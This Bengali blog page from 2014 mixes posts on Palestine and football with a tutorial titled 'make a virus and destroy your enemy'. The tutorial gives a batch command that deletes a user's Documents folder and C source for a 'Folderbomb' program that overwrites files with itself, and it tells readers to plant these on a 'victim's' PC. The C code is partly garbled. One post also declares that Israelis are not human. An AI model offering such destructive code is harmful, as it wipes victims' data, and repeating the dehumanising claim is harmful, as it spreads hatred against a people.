Download

শনিবার, ১৯ জুলাই, ২০১৪

আমরা মেরুদন্ডহীন এমন এক প্রজাতি...আমরা তথাকথিতো আধুনিক ইসলামিক আদর্শের পতাকাধারী

আমরা মেরুদন্ডহীন এমন এক প্রজাতি তে রূপ নিয়েসী, যারা নিজের ভাই কে হত্তা কর্তে দেখলেও চুপ চাপ পাশ কাটিয়ে চলে যাই ! নিজের ভাইয়ের সন্তান দের শত্রু সেনাদের বেয়নেটএর খোচায় সিন্ন বিসিন্ন লাশ দেখলে ভাবি।.." ইশ ! কি ভয়ানক !! এই লোকে unfriend করতে হবে !! যত সব আজে বাজে pic ফেইসবুক এ শেয়ার করে !! ---না না !! ব্লক মারমু। .শালা দিল মুডটা নষ্ট কইরা !!
অনেকে তো আবার চ্যাট এ  জিজ্ঞাস করে। .."ভাই ! পালেস্তাইন দেশটা কোথায় ?''
  আমরা রমজান মাসে অনেক নামাজ পরি। ..সেইটা আবার ঢোল পিটাই স্টেটাস দিয়ে ....." তারাবি পড়তে যাইতাসি।.....এইবার খতম তারাবি দিমু "...নামাজ শেষে দোআ করি.." আল্লাহ , আমাকে রহমত কর...ব্লা ব্লা ব্লা " কিন্তু কখনো ভুলেও সেই নির্যাতিত ভাই দের জন্নে হাত তুলি না!! " বড্ড স্বার্থপর আমরা !!!
জি জনাব ! আমরা তথাকথিতো আধুনিক ইসলামিক আদর্শের পতাকাধারী। ......
ওই মিয়া আমারে কিসু কইলেন ???
ধর শালারে। . ..................শালা ভন্ডো !

ইসরাইলিরা মানুষ না .. ..

ইসরাইলিরা মানুষ না .. .. ..যখন ওদের রকেটএর  আঘাতে সিন্ন বিসিন্ন হতসে নিরীহ শিশু .....তখন ওরা করসে আনন্দ উল্লাস ! ভিডিও তা পুরা টুকু দেখবেন আশা করি ! 
আল্লহ পালেস্তাইন বাসী কে সাহায্য করুক।

বুধবার, ৯ জুলাই, ২০১৪

আবার হাজির আমরা !! ভাইরাস বানিয়ে শত্রুর সব শেষ করে দিন !

এই কাজ টি শুধু মজা করার জন্যে !! দয়া করে কোনো নিরপরাধ এর  উপর প্রয়োগ করবেন না..আপনার একটু মজা ধংশ করে দিতে পারে কাওকে !! 
 প্রথমে নোটপ্যাড ওপেন করুন
নিচের কোডটি কপি করে নোটপ্যাডে নিন
rmdir C:\Documents and Settings \S\Q.
এবার এটিকে alok.bat এই নাম দিয়ে সেভ করুন ।
যেমন: virus.bat
এবার এটি আপনার ভিকটিমের পিসিতে দিয়ে দিন । আর ভিকটিম যখন এটিতে ক্লিক করবে তখন আরকি my documents folder উধাও ।
মুক্তি পাবেন যেভাবে :
My documents folder টি ফেরত পেতে চাইলে কষ্ট করে আবার সিস্টেম ইনস্টল করুন ।
 
ভাইরাস কোড ০২:
এই পদ্ধতিটা একটু জটিল খেয়াল রাখবেন কোথায় যেনো কিছু ভুল না হয় ।
আসুন দেখে নেই এই ভাইরাসেয় কার্যকারতি ।
এটি তৈরী করবে
ফোল্ডার অসংখ্যা ফোল্ডার । সারা HARD DISK এ তৈরী হবে হাজার হাজার ফোল্ডার । ভিকটিমের এক একটি ফোল্ডারের ফাইল ছড়িয়ে পড়বে এই সব ফোল্ডারে । সব এলোমেলো হয়ে যাবে।
notepad ওপেন করুন এবং নিচের কোডটি কপি করে নিন ।
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
 
1.bat format এ পছন্দ মতো নাম দিয়ে সেভ করুন ।
2.আগের মতোই যখন এটাতে ক্লিক করা হবে আর তখন ই শুরু হবে ফোল্ডার বিস্ফোরণ
মুক্তির উপায় :
3.Hard disk টি সম্পূর্ণ ফরমেট করে নতুনভাবে সিস্টাম ইনস্টল করতে হবে ।
                                                                <সংগ্রহিত >

শনিবার, ৫ জুলাই, ২০১৪

জাদুকর সামাদ। .আমাদের মেরাডোনা .


প্রায় ৮০ বছর আগের ঘটনা। তখনো ফুটবল বিশ্বের কিংবদন্তী ব্রাজিলের পেলের জন্ম হয়নি। আর আরেক কিংবদন্তীর ম্যারাডোনার কথা তো বহু দূরে। সালটা খুব সম্ভবত ১৯৩৩ কি ৩৪ হবে। ফুটবল তখন হালের ক্রেজ। সর্বভারতীয় ফুটবল দল সফরে গেছেন ইন্দোনেশিয়া। খেলার মাঠে প্রজাপতির মত উড়ছেন ৬ফিট উচ্চতার এক কৃষ্ণকায় যুবক। ইন্দোনেশিয়ার ৪-৫ জন প্লেয়ারকে কাটিয়ে বল মারলেন গোলপোস্ট বরাবর। আফসোস, গোল হল না। বল লাগল গোলবারে। কি অদ্ভুত ব্যাপার স্যাপার। মিনিট ৫এর ভেতর আবারো সেই ঘটনার পুনরাবৃত্তি। এইবার গো ধরে বসেছেন যুবকটি। তার শর্ট মেজারমেনট তো এমন হবার কথা না। তিনি সরাসরি ম্যাচ পরিচালনা কমিটির কাছে নালিশ করে বসলেন। গোলপোস্টের মাপ ছোট আছে। অবিশ্বাস্যের সুরে মাপা হল গোলপোস্ট। হ্যাঁ, আসলেই ইঞ্চি চারেক ছোট গোলপোস্ট। কি আর করা। শেষে বারে লাগা সবগুল শর্ট গোল হিসেবে ধরা হল। যে মানুষটির কথা এতক্ষন বলা হল তিনি আর কেউ নন। আমাদের দেশের মানুষ। সামাদ জাদুকর। ফুটবল জাদুকর সামাদ। যিনি কিনা পেলে ,ম্যারাডোনা্ ষ্টেফানো, গারিঞ্জা, বেকেনবাওয়ার, পুস্কাসের বহু বছর আগেই ফুটবলকে দান করেছিলেন শৈল্পিকতা, আর নৈপুণ্যতা। যিনি কিনা পায়ের জাদুতে হতবাক করেছেন হাজারো দর্শককে। মুলত তার একক নৈপুণ্যে সর্বভারতীয় ফুটবল টিম তৎকালীন গ্রেট ব্রিটেনের মত শক্তিশালী টিমকে ৪-১ গোলে আর ইউরোপীয় টিমকে ২-১ গোলে পরাজিত করে। হতবাক হয়ে যায় পুরো ইউরোপের ফুটবল বোদ্ধারা। ফুটবল জাদুকর সামাদ তার বর্ণাঢ্য ফুটবল ক্যারিয়ারে এমন অনেক বিস্ময়ের জন্ম দিয়েছেন। তার ২৫ বছরের বর্ণাঢ্য ফুটবল ক্যারিয়ারের সূচনা হয় কিন্তু রংপুরের তাজ ক্লাবের হয়ে। সেখান থেকে তিনি যোগ দেন কলকাতার এরিয়েন্স ক্লাবে। পরবর্তীতে তিনি ইষ্ট বেঙ্গল রেলওয়ে ক্লাব, কোলকাতা মোহনবাগান, ভিক্টোরিয়া স্পোর্টিং ক্লাবের হয়েও খেলেছেন। ক্যারিয়ারের শেষের দিকে তিনি কোলকাতা মোহমেডানের হয়ে কিছুদিন খেলেছেন। খুব কষ্ট লাগে আমাদের দেশের তরুনেরা পেলে চেনে, ম্যারাডোনা চেনে, হালের মেসি রোনাল্ডো, নেইমারকে চেনে, কিন্তু দেশের গর্ব সামাদ জাদুকরকে চেনে না। ভাল মত জানে না। অবশ্য এদের দোষ দিয়ে লাভ নেই। সরকার ই যখন জানানোর ব্যাবস্থা করে না, পর্যাপ্ত সুযোগ সৃষ্টি করে না, তখন পোলাপান জানবেই বা কিভাবে। আমার জানা নেই জাদুকর সামাদের নাম বইয়ের কোন চিপায় লেখা আছে কিনা। ও হ্যাঁ। সৈয়দ আব্দুস সামাদের নামের আগে জাদুকর উপাধি টি দিয়েছিলেন তৎকালীন বাংলার গভর্নর। তিনি তাকে ডাকতেন wizard of football বলে।

সিটকে পড়লেন নেইমার...brazil এর poster boy

*শুক্রবার কলম্বিয়ার
সঙ্গে কোয়ার্টার
ফাইনাল ম্যাচে খেলার সময় পিঠে আঘাত
পান
তিনি। এরপরই তাকে স্থানীয়
একটি হাসপাতালে নেওয়া হয়।
নেইমার মেরুদণ্ডের কশেরুকায় গুরুতর আঘাত
পেয়েছেন বলে জানিয়েছেন ব্রাজিল দলের
চিকিৎসক রদ্রিগো লাসমার।
তবে নেইমারের আঘাত অস্ত্রোপচার করার
মতো গুরুতর নয়।
তিনি জানান, নেইমার আপাতত
নড়াচড়া করতে পারবেন না। নেইমারের সুস্থ
হয়ে উঠতে কমপক্ষে কয়েক সপ্তাহ সময়
লাগবে।
লাসমার আরও বলেন, দুর্ভাগ্যবশত, নেইমার
বিশ্বকাপের এই আসরে আর খেলতে পারবেন
না।-----------------------------------------------------------------------------------------------------------------------------
১৯৯৪ সালে যুক্তরাস্ট্রের বিপক্ষে কলম্বিয়ার ডিফেন্ডার আন্দ্রেস এসকোবারের একটি আত্নঘাতী গোলের কারনে বিশ্বকাপ থেকে ছিটকে যায় কলম্বিয়া। কলম্বিয়া দল দেশে ফেরার পর সেই আত্নঘাতী গোলের জন্য গুলি করে হত্যা করা হয় এই ডিফেন্ডারকে।হত্যাকারী প্রতিটা বুলেটআন্দ্রেস এসকোবারের সরিরে গেথে দিসিলো আর চিত্কার করসিলো goal !!! goal !!!!  " । সে তুলনায় গুতা মেরে নেইমারের মেরুদন্ড ভেঙ্গে দিয়েছে বলে তাদের কাছে কৃতজ্ঞ থাকা উচিত ব্রাজিলের। তাও ভালো ছেলেটাকে জানে মারেনাই। ব্যাপারটা অনেকটা এমন যে, আমরা সেমিতে যাইতে পারুম না আর তোরা সেমিতে গিয়াও শান্তি পাবিনা। আমরাও বিশ্বকাপ থেকে আউট। তোদের "কী" প্লেয়ারও বিশ্বকাপ থেকে আউট। এবার দেখুম তোরা ক্যামনে জিতস। নেইমার ইঞ্জুরিতে পড়ার পর কিছু মানুষের ফেইসবুক এ  উল্লাস দেখলাম। একজনকে বলতে দেখলাম, " নেইমার  বাদ। পার্টি হবে পার্টি।"  । কয়েকদিন আগে কোথায় যেন নেইমারের একটা মন্তব্য পড়লাম, "আমি সেরা খেলোয়াড় হতে চাইনা। আমি গোন্ডেন বুট জিততে চাইনা। আমি শুধু বিশ্বকাপ জয়ীর তকমা চাই।" কিছু মানুষ হয়ত নেইমারের ইঞ্জুরিতে উল্লাস করতে পারে। কিন্তু কোটি মানুষ ব্রাজিল দলে নেইমারের অবদান স্মরন রাখবে। একজন আর্জেন্টাইন  সমর্থক হলেও  আমিও মনে প্রানে চাই থিয়েগো সিলভার জন্য হলেও ব্রাজিলের ফাইনাল খেলা উচিত।নিজেদের দেশে ফাইনাল। ......হোক ব্রাজিল - আর্জেন্টিনার  সপ্নের ফাইনাল। 

শুক্রবার, ৪ জুলাই, ২০১৪

লিওনেল মেসি .....



লিওনেল মেসি“- এই নামের সাথে পরিচিত একটি দেশ, একটি খেলা। যেন ফুটবল খেলতেই জন্মেছিলেন, বিশ্ব কাপের শুরু থেকে এই পর্যন্ত টি ম্যাচের মাধ্যমেই নিজের যোগ্যতা প্রমান করেছেন সেরা হিসেবে। সর্বচ্চ ভক্ত, অনুরাগী নিয়ে মেসি এখন জনপ্রিয়তার শীর্ষে, আসুন জেনে নেই তার সম্পর্কে কিছু অজানা তথ্যঃ
১৯৮৭ সালের ২৪ জুন আর্জেন্টিনার রোজারিও তে লিওনেল আন্দ্রেসলিও মেসি ইতালিয়ান বংশোদ্ভূত একটি দরিদ্র পরিবারে জন্মগ্রহন করেন। তাঁর বাবাহোর্হে ওরাসিও মেসিএকটি ইস্পাতের কারখানায় কাজ করতেন আর মাসেলিয়া মারিয়া কুচ্চিত্তিনিছিলেন একজন খণ্ডকালীন পরিচ্ছন্নতা কর্মী
 মেসি ছোটবেলায় এতোটাই লাজুক ছিলেন যে প্রথম পরিচয়ে অনেকেই তাকে বোবা কিংবা অটিস্টিক ভাবতেন।এমনকি তার শিক্ষকরা তাকে মানসিক ডাক্তার দেখানোর পরামর্শও দিয়েছিলেন

 ১১ বছর বয়সে মেসির শরীরে গ্রোথ হরমোন জনিত জটিলতা দেখা দেয়। কিন্তু তাঁর বাবা মায়ের সেটার চিকিৎসা করার মত সামর্থ্য ছিলো না। এই চিকিৎসার খরচ ছিলো প্রতিমাসে প্রায় ৯০০ ডলার
 বার্সেলোনার সাথে মেসির প্রথম চুক্তি লেখা হয়েছিলো একটি ন্যাপকিন পেপারে! বার্সেলোনার স্পোর্টিং ডিরেক্টরকার্লেস রেক্সাচমেসির প্রতিভা দেখে এতোটাই মুগ্ধ হয়েছিলেন যে তখনই চুক্তি করিয়ে নিতে চেয়েছিলেন। হাতের কাছে কোনো কাগজ না পাওয়াতে ন্যাপকিন পেপারেই লিখিত চুক্তি করে ফেলেন তিনি
 বার্সেলোনা মেসির ফুটবলের কারুকাজ দেখে মুগ্ধ হয়ে তাকে ক্লাবে নেয় এবং তাঁর পারিশ্রমিক হিসেবে চিকিৎসার পুরো ব্যয়ভার নিয়ে নেয়। মেসির বাবা মা এই সময়ে আর্জেন্টিনা থেকে স্পেনে চলে আসে
 মেসিকে স্পেনের জাতীয় দলের হয়ে খেলার প্রস্তাব দেয়া হয়েছিলো। কিন্তু মেসি সেই প্রস্তাব নাকোচ করে দেয়। কারণ মেসির স্বপ্ন ছিলো আর্জেন্টিনার নীল সাদা জার্সি পরে খেলার।২০০৪ সালে প্রথমবার সেই সুযোগটা পেয়েছিলো মেসি
 মেসির দুই দেশের দুটি পাসপোর্ট আছে।একটি আর্জেন্টিনার একটি স্পেনের। ২০০৫সালের সেপ্টেম্বরে স্পেনের নাগরিকত্ব পায় এই তারকা
 মেসির বার্সেলোনা আর্জেন্টিনার জার্সির নম্বর ১০ বার্সেলোনায় মেসির আগে ১০ নম্বর জার্সিটি পরতেন আরেক কিংবদন্তী ব্রাজিলিয়ান খেলোয়াড় রোনালদিনিও এছারা আরও অনেক কিংবদন্তী ফুটবলার যেমন পেলে, ম্যারাডোনা, জিনেদিন জিদান ১০ নম্বর জার্সি পড়তেন, বর্তমানে নেইমার, রুনি ১০ নম্বর জার্সি পড়ে।
 মেসি তাঁর প্রতিষ্ঠিত লিও মেসি ফাউন্ডেশনের মাধ্যমে অনেক চ্যারিটিতেই অনুদান দেন। শুধু তাই নয় তিনি সাহায্য করেন Fragile X Syndrome আক্রান্ত অটিস্টিক শিশুদেরকেও। তিনি ইউনিসেফেরও একজন অ্যাম্বেসেডর
 প্রায় প্রতিটি গোল করেই তিনি আকাশের দিকে আঙ্গুল উঁচু করেন কারণ তিনি তাঁর গোল গুলোকে উৎসর্গ করেন তার প্রয়াত দাদীকে।তাঁর দাদী তাকে ফুটবলের অনুপ্রেরণা যুগিয়েছিলেন এবং মেসির যখন ১০ বছর বয়স তখন তিনি মৃত্যুবরণ করেন যা মেসির মনে আজও দাগ কেটে আছে
 ব্রাজিল আর্জেন্টিনা দিয়ে যতই দ্বন্দ থাকুক, মেসির সবচাইতে কাছের বন্ধুদের সবাই ব্রাজিলিয়ান। বিশেষ করে বার্সেলোনায় আসার পরেডেকোএবং রোনালদিনিওছিলেন তাঁর সবচাইতে কাছের বন্ধু। বর্তমানে সেই বন্ধুত্ব ব্রাজিলিয়ান তারকা নেইমারের সাথে।
 মেসি একজন সৎ প্রেমিকও বটে। ছোট্ট বেলার সেই খেলার সাথীকে সে কখনও ভুলে যায় নি। অনেক নামীদামী তারকাদের কাছ থেকে বিয়ের প্রস্তাব পেয়েছেন। কিন্তু সবাই কে না করে দিয়ে অবশেষে সেই অজপাড়া গায়ের ছোট্ট বেলার বন্ধুটিকে আপন করে নিয়েছে। রুপে কিন্তু তারকাদের থেকে কম যাননা মেসির বউ

২০১২ সালের নভেম্বর মেসি প্রথমবারের মত সন্তানের(থিয়াগো মেসি) বাবা হন।তিনি তাঁর ফেসবুক পাতায় পোস্ট করেন,’‘আজ আমি বিশ্বের সবচেয়ে সুখী মানুষ,আমার সন্তান জন্মগ্রহন করেছে এবং এই উপহারের জন্য সৃষ্টিকর্তাকে ধন্যবাদ। [সংগ্রহি[

মেসি কে নিয়ে আমাদের আগের পোস্ট http://banglarkolom.blogspot.com/2014/06/blog-post_23.html